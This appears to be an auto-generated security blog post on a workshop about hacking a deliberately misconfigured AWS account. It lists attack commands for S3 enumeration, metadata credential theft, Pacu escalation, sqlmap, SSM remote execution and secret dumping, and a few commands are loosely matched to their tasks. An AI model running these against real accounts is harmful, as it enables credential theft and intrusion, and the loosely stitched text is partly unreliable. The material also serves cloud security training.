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After a 60-minute session at AWS Community Day Romania, participants engaged in hacking a vulnerable AWS account filled with misconfigured services. The workshop, led by Eduard Agavriloae and Lucian Pătian, demonstrated real-world attack techniques against improperly secured cloud resources.
You Should Know: AWS Attack Playbook & Practical Commands
1. Enumerating Publicly Exposed S3 Buckets
Misconfigured S3 buckets are a common entry point. Use the AWS CLI to list and inspect buckets:
aws s3 ls aws s3 ls s3://vulnerable-bucket --recursive
To check for public access:
aws s3api get-bucket-acl --bucket vulnerable-bucket aws s3api get-bucket-policy --bucket vulnerable-bucket
2. Exploiting Over-Permissive IAM Roles
Extract temporary credentials from misconfigured Lambda/EC2:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
Use Pacu (AWS exploitation framework) to escalate privileges:
python3 pacu.py <blockquote> set_keys AKIA... run iam__enum_users_roles_policies_groups
3. Attacking Open RDS Databases
Check for publicly accessible RDS instances:
aws rds describe-db-instances --query "DBInstances[?PubliclyAccessible==true]"
Use sqlmap for SQL injection testing:
sqlmap -u "https://vulnerable-rds-endpoint" --dbs
4. Escalating via SSM Misconfigurations
If EC2 instances have SSM agent vulnerabilities, execute commands remotely:
aws ssm send-command --instance-ids i-1234567890 --document-name "AWS-RunShellScript" --parameters 'commands=["id"]'
5. Dumping Secrets from AWS Parameter Store
Extract hardcoded credentials:
aws ssm get-parameters --names /prod/db/password --with-decryption
What Undercode Say
Cloud misconfigurations remain a top attack vector. Key takeaways:
– Monitor S3 bucket policies (aws s3api get-bucket-policy-status).
– Restrict IAM roles with least privilege (aws iam simulate-principal-policy).
– Automate scans with ScoutSuite:
python3 scout.py aws --access-keys AKIA...
– Harden RDS by disabling public access (aws rds modify-db-instance --no-publicly-accessible).
– Audit SSM permissions to prevent command execution abuse.
Expected Output:
A compromised AWS account dump showing extracted credentials, exposed data, and privilege escalation paths.
For further reading:
References:
Reported By: Activity 7316389825849266177 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
